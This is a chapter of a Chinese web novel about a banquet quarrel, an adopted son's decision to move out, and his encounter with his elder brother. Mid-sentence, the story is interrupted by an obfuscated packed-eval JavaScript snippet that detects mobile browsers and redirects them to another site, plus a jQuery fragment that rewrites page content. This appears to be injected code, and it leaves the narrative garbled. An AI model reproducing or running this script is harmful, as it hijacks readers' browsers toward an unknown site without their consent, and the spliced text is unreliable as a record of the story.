唐浸月最近沉迷浅紫色的长裙,所以挑选礼服的时候也首先选了浅紫色作为参考,她的礼服是新中式风,脖子上挂着一串长流苏的白玉背云,走起路来玉质的珠子相互碰撞,叮叮当当,清脆悦耳。 宴会厅不算小,除了音乐声还有嘈杂的交谈声,其中就包括“表亲三人组”的逆天发言。 夏知鱼用二十多年没转过的小脑袋瓜简单思考了一下,然后发觉“表亲三人组”的思维方式不是常人能够理解的,连他这种沙雕都理解不了。 “你、你们?”表叔不耐烦回过头,想看看到底是谁这么不识趣敢打断自己,结果就看见唐浸月阴沉着脸,身后还站了个夏以德扫视着自己。 “宋先生,真是许久不见了。”唐浸月微微举杯,冲那边扬了扬下巴:“你爱狗仗人势教育人的作风还是没有变,真让人怀念。” 或许在小辈面前还能装一装,可是真到了夏以德和唐浸月面前,再借给他们三个胆子也不敢那么说话。 毕竟他们三个都是入赘到夏家的,平日里接着夏家的背景没少捞到好处。 “原来是唐女士。”宋表叔手上没有酒,附近也没有拖着酒的服务生,沉着脸站在原地:“真不好意思,我、我手上也没有什么可以回敬的。” “没关系。”唐浸月把酒杯递给夏以德,自己提着裙子直着背走进夏知鱼身边:“毕竟忙着教育我们夏家的孩子,来不及到上一杯酒很正常,老夏,你说是不是?” 宋表叔被捧杀的有些难堪,想寻求两位“表舅”的帮助,哪成想一回头才发现,那两个人不知道什么时候跑没影了,合着刚才只是他一个人的独角戏。 “咱们是一家人,一家人不说两家话,我这也是为了夏家好啊。”宋表叔搓搓手,赔着笑勉强挤出这句话:“出发点是好的,可能是太着急说错了话,你们也别怪……” 夏语年打断他:“出发点是好的,但你先别出发。” “就是,谁跟你一家人啊。”夏知鱼也说:“一家人可不会上来就指责别人。” 宋表叔真想快点离开这里,或者捂住这两个小子的嘴,从一开始就跟自己对着干,完全没把自己这个长辈放在眼里。 夏知鱼捏着手指抵在鼻子前,眨巴着眼睛泫然流涕,开始自己擅长的告状:“谁知道是怎么回事啊,我只不过是在这里坐了一会,这人就领了两个大叔走过来指责了人家好久!难道就因为人家是手无缚鸡之力的美少年,就欺负人家吗嘤~嘤~嘤~” 他顶着这样一张乖萌的脸撒骄告状,就算是心如磐石也化得一塌糊涂了,更何说他还把额头抵在唐浸月的肩膀上,这谁能抵得住 果然唐浸月和夏以德眸光加深,看向宋表叔的眼神更加厌恶。 夏以德和宋表叔说了句什么,后者一下子僵在原地,那双浑浊暗黄的眼中充满了惊讶,不过夏知鱼没听清,因为他在前面看见了一个熟悉的身影被一群人围住。 夏知鱼的夜视能力不好,在暗处看其他地方也不是很真切,他大概猜测:爸妈能安心站在这里给自己和夏语年撑腰,多半是因为他素未谋面的大哥夏云祈在主持大局。 啧,他大哥这伟岸的背影怎么那么眼熟。 “让我儿子给你们这些人道歉?用不用我们夏氏为表歉意给你们转点夏氏股份?”夏以德声音不小引得附近的人频频侧目,都想知道这边究竟发生了什么,怎么就扯到转股份的话题了。 “即使小鱼和夏家没有血缘关系,他也是我们养了二十几年的二儿子,欺负他就是瞧不起我们夏家。”夏以德意说给在场所有人听:“与其想着怎么作事,宋先生,你还不如好好想一想和其他几个老蛀虫都背着夏家做了什么!不戳破是因为你们那些破事对公司构不成什么威胁,看在你们入赘到夏家的面子上留点脸,真以为我什么都不知道?” 夏知鱼和夏语年被唐浸月拦在身后护着,各自在心里吹夏以德的彩虹屁,夏知鱼甚至当场就捂着胸口唱出了心声: “我滴老父亲~我最疼爱滴人儿~” 其他人:“……” 夏知鱼不明所以:“这么严肃的气氛,你们看我干嘛?” 其他人:你还知道气氛严肃啊? 夏知鱼清了清嗓子,重新把脸埋回唐浸月身后:“你们继续,你们继续。” 这还怎么继续,连那边乐队那几个拉小提琴弹钢琴的都因为夏知鱼这两嗓子换了音乐。 “好,就算是这样,夏知鱼身上流的不是我夏家的血,他凭什么特有公司百分之五的股?”宋表叔问:“夏家养着他,他不就得感恩戴德了?还拿公司股份是不是不太好?” 夏知鱼适时露出半颗脑袋:“咦?听表叔这样指责我,还以为养我的不是夏家,是宋家呢!” “对啊,家住海边?管的真宽。”夏语年补刀:“要说这个,宋氏也有百分之零点五的股份……” 宋表叔更是哑口无言,他想管教夏知鱼和夏语年不假,但这不代表他可以害宋家丢掉股份,夏氏百分之零点五的股份可是笔不小的钱呢。 “不不不不,是我多管闲事了!”宋表叔一边后退一边摆手:“那个,我还有点事,就先走了,你们聊哈哈。” 说罢,脚底抹油般溜了。 夏以德却不想轻饶了他,拍了拍夏知鱼起来的小呆毛:“看爸爸给你报仇!” 他拨通了个号码聊了几句,询问过和宋氏的项目合作进程后霸总发言:“既然如此,干脆叫停吧,亏损的钱于我不过少买辆车,于宋氏来说,可足够他们肉疼一阵了……你告诉他们,什么该说什么不该说心里清楚,下次可就不是叫停项目这么简单了。 夏知鱼小声嘀咕:“这就叫祸从口出!” “嘿,你还挺有文化。”夏语年打趣。 “毕竟‘瓢泼大雨’没记起来的是你不是我。”夏知鱼:“年轻人,你记住!” “记住什么?”夏语年真诚反问。 “别管记住什么,你就记住!”夏知鱼快乐的呲起牙。 其他人:“……” 眼见着宴会接近尾声,唐浸月和夏以德也已经宣布了夏语年的身份,干脆就地落座,叫上服务生端了两杯酒来。 闹剧过去,不少胆子大的凑上来和他们打招呼,簇拥着夏语年不断挪动,不一会就淡出了夏知鱼的视线。 夏知鱼双手捧着酒杯,像是拿着什么绝世珍宝一样,他双眼失焦,盯着一个地方失神。 “小鱼,你是不是有什么话要和爸爸妈妈说?”夏以德问。 既然这样问了,夏知鱼也就不藏着掖着了,反正早晚也是要说的。 他咬了咬下唇,露出一个标准的微笑:“爸爸,我……其实想搬出去住。” 此话一出,唐浸月和夏以德当场停下了动作,看那如出一辙的表情也知道他们在怀疑自己的耳朵。 夏知鱼尽量让自己的语气听起来轻快一点:“其实我很早之前就有这个打算了,锻炼自己嘛,长大了总是要学会独立的,你们看大哥,还挺自由的,他不也搬出去住了?” “那不一样啊小鱼。”唐浸月说:“真的要搬出去吗?小鱼,你……在怪妈妈吗?” “没有啦,妈妈,我没怪任何人。”夏知鱼说:“我已经好好考虑过了,要想堵住其他人的嘴就要做出一些成绩不是吗?总在你们的羽翼下永远也不会长大,爸爸妈妈,就当是为了我,好吗?” 唐浸月和夏以德沉默良久,最终不情不愿点了头。 “我知道爸爸妈妈永远爱我就够了,别伤心啦,只是搬出去,又不是永远不见,来,咱们举杯为小鱼同学的第一次独立干杯!”夏知鱼举杯。 夏知鱼没说,他早就把属于原身的东西归还到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320553|152444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏家的房间里,包括银行卡车钥匙,他什么都没拿走,甚至连身上穿的这件衣服都是花自己直播赚来的钱买的。 倒不是要和夏家一刀两断的意思,只是这样做能让夏知鱼心里别扭的感觉少一点。 他暗道自己矫情,面上释然一笑:“很晚了爸爸妈妈,我就先回去了,你们回去的时候路上也小心。” “……今晚、今晚就搬走吗?”唐浸月站起来叫住夏知鱼,她总觉得夏知鱼离自己越来越远了,自己看不懂夏知鱼,也一点都不了解他。 “……嗯。” 离开晚宴厅,夏知鱼叫了个计程车。 上午来的时候外面还是下着小雨的,到了晚上竟是开始下雪了。 银灰色的天透不过一点月光,风吹着雪花卷过长街,地面上雨水和着积雪很快就融化,路边的店铺窗户上结起冰花。 夏知鱼走在其间,终于有了临近冬天的真实感。 上午夏语年在车里说,最近降温夏知鱼不穿外套一定会冷,那时他怎么说?哦,对了,他和夏语年说自己会跟车回家,根本不用担心这个多余的问题。 现在夏知鱼独自惨兮兮站在路灯下,饱受风霜摧残,幻想自己是雨天站在外面将自己淋湿的古偶男主,张嘴就是“哦,这个世界对我不公,但我要战胜不公”。 结果他张开嘴,一片雪花落进他嘴里,将他拉回现实。 “呸呸!”夏知鱼吸了吸鼻子,拿出手机查看叫车软件:“怎么还没有人接单啊,快冻成冰块了……斯哈~冷冷的冰雪在脸上胡乱的拍~” 雪天、夜晚、距离远,buff叠满了,的确没有人爱接这种单子。 夏知鱼重新勾上两个车型,不到半分钟,一辆出租车接上了他的单子。 与此同时,微信弹窗弹出一条两分钟以前的消息。 夏先生:在晚会大厅乖乖等我。 “!!!”夏知鱼:“傻子才会乖乖等!” 正好出租车显示距离他一米,夏知鱼环顾四周,然后将视线落在了一辆看着就像出租车的车上:“没错了,一定是这辆。” 他稍微挪动几步,在前面疯狂按喇叭的司机注视下上了那辆低调的迈巴赫。 夏知鱼潇洒打开车门,一屁股坐进后座,然后关好门,整套动作行云流水:“开车吧师傅。” 夏云祈西装笔挺神色漠然靠坐在后座,修长的手指轻轻敲击着另一只手的手背,双腿自然地交叠,见到夏知鱼并不意外,带着不易察觉的笑意提醒:“你的出租车在前面。” 夏知鱼垂着眼扒拉手机,意识到自己上错了车“哦”了一声:“抱歉抱歉,最近脑子不太好使。” 夏云祈哼笑一声,停下手上的动作,前面驾驶坐上的司机憋着笑从后视镜偷瞄,正对上夏知鱼蒙圈的眼神。 尤其是夏知鱼看清夏云祈的脸,更是震惊:“怎么霸总也要坐出租车回家?哦你喝酒了是吧?那为什么不叫司机来,或者叫代驾呢?” “现在又不躲着我了是吧?”夏云祈不答反问。 “……”夏知鱼内心奔过一万匹羊驼,他竟然忘了这一茬! 司机回过头,叫了夏云祈一声夏总,问:“现在开车吗?” 于是夏知鱼又关闭车门坐了回去。 夏云祈不禁疑惑:“你怎么不下去?” 夏知鱼:“为了抱大腿,我委屈一点没关系。” “……”夏云祈:“呵。” 夏知鱼:“那就麻烦亲亲夏先生送我回家啦。” 夏云祈:“躲了我这么久还想回家?夏知鱼,你不该给我个解释吗?” 他对司机道:“车门锁死,把车开到别墅去。” 夏知鱼试着开了两下车门,果然锁死打不开了,这一天终于要来了吗?囚禁play?小黑屋play?想想还怪刺激咧。